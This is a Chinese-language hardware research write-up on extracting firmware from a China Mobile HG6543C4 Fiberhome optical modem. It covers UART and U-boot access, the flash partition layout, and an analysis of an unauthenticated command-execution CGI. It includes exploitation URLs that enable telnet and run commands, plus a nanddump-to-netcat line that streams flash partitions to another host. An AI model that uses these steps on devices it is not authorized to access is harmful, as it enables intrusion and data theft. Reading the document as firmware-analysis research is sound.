中国移动HG6543C4烽火服务商光猫UART一键提取硬件文件系统
硬件

UART串口调试
连接UART到电脑,在Mobaxterm上打开,观察得到的信息

设备型号是BCM968480FHGU;板卡IP地址是192.168.1.1;主机地址是192.168.1.00;运行文件系统名叫vmlinux;闪存分区大小分别罗列出来了Partition 4 是数据分区(存放配置文件、语音参数等),有90MB。

跳过初始化要按ESC就进入U-boot

闪存的7个分区
- 0x000000000000-0x000000020000 : "nvram" (2MB)→ 存放配置参数、MAC、SN等关键数据
- 0x000000020000-0x000004f00000 : "rootfsA" (约78MB)→ 主根文件系统(A分区)
- 0x000004f00000-0x000009de0000 : "rootfsB" (约78MB)→ 备用根文件系统(B分区,双系统设计,用于安全升级)
- 0x000009de00000-0x000009f00000 : "misc1" (小分区,可能杂项日志)
- 0x000009f00000-0x00000ff00000 : "data" (约80MB)→ 用户数据分区(配置、语音参数等)
- 0x00000f900000-0x00000fd00000 : "PreConfigure" (4MB)→ 预配置分区(运营商定制参数)
- 0x00000fd00000-0x00000ff00000 : "UserLocalCT" (2MB)→ 用户本地CT

最后我们观察到进程被卡在这里动不了了,因为设备被设置了权限进不去shell,我们只能通过之前的ESC结束自动进程进入U-boot,查看是否有可以帮助我们提取的命令。重启光猫按ESC

提取固件
通常我们通过U-boot提取命令可以使用md命令或者nand命令,这里面有二开的相关命令dn/dm/db/dh/dw,我们可以通过这些命令将文件系统一点点提取出来然后再通过UART端口传输,就是效率较慢。我们试着查看一下环境变量看看是否可以得到更多有用的信息。

和我们之前看到的一样
漏洞利用
笔者在网络上发现一篇有关这个设备的漏洞文章,https://www.bilibili.com/opus/317989251067169317
根据曝光出来的账户密码可以进入超级管理员后台,也可以免登录进入web shell命令执行
因此我们可以用网线直连 LAN 口,PC 设置静态 IP 192.168.1.x,浏览器登录超管,访问 http://192.168.1.1/cgi-bin/telnetenable.cgi?telnetenable=1 开启 Telnet,访问http://192.168.1.1/cgi-bin/shortcut_telnet.cgi
进行命令执行。

使用cat /proc/mtd查看flash分区


为了防止遗落下哪个重要分区,我们全部都要
再使用ls /bin查看可以利用的提取命令,找到nanddump,dd,tar

准备工作已经做完,我们把路由器和电脑连接上网线,把IP设置到同一网段下

在Windows端开启监听端口ncat -l -p 9999 > mtdX.bin
在网页上发送nanddump命令传输,nanddump /dev/mtdX | nc 192.168.1.2 9999,将分区依次传输到当前Windows目录下。
得到的bin文件用cat合并成一个文件,再用binwalk提取,就可以得到文件系统了

得到的文件系统中的bin和我们之前在web shell看到的一样,说明提取成功。
脚本提取
可不可以再简洁一点呢,比如一键提取之类的?
我们可以写一个python脚本,提取其中21个分区,一键合并成一个full.bin,省去很多体力。


在Windows上获得整个flash之后,再拖到Unbuntu中binwalk提取得到文件系统。
漏洞分析
在写脚本的过程中,我们主要利用的是shortcut_telnet.cgi这个url,我们提取之后去分析一下这个漏洞点

点开这个cgi文件,查看代码

该脚本是一个典型的 Web Shell 后门实现,位于路由器固件的 /cgi-bin/ 目录下,用于通过 HTTP GET 请求执行任意系统命令。其核心逻辑是将用户提交的 QUERY_STRING 参数作为命令写入临时脚本文件执行,并将输出返回给浏览器。
CMD=`../cgi-bin/urldecode.cgi $QUERY_STRING`
echo "$CMD" >>$CMDFILE
`/bin/sh $CMDFILE`
漏洞点就在这里,脚本直接将用户控制的 $QUERY_STRING 参数经过简单解码后作为命令执行,未经任何过滤,攻击者可构造任意系统命令。
其次,cgi接口没有任何任何身份认证机制,我们只要知道该url局域网内任意主机均可直接访问并执行命令。并且输出结果直接以HTML 形式(<br / >换行)返回浏览器,我们可以通过输入命令得到系统的敏感信息,如文件分区等。
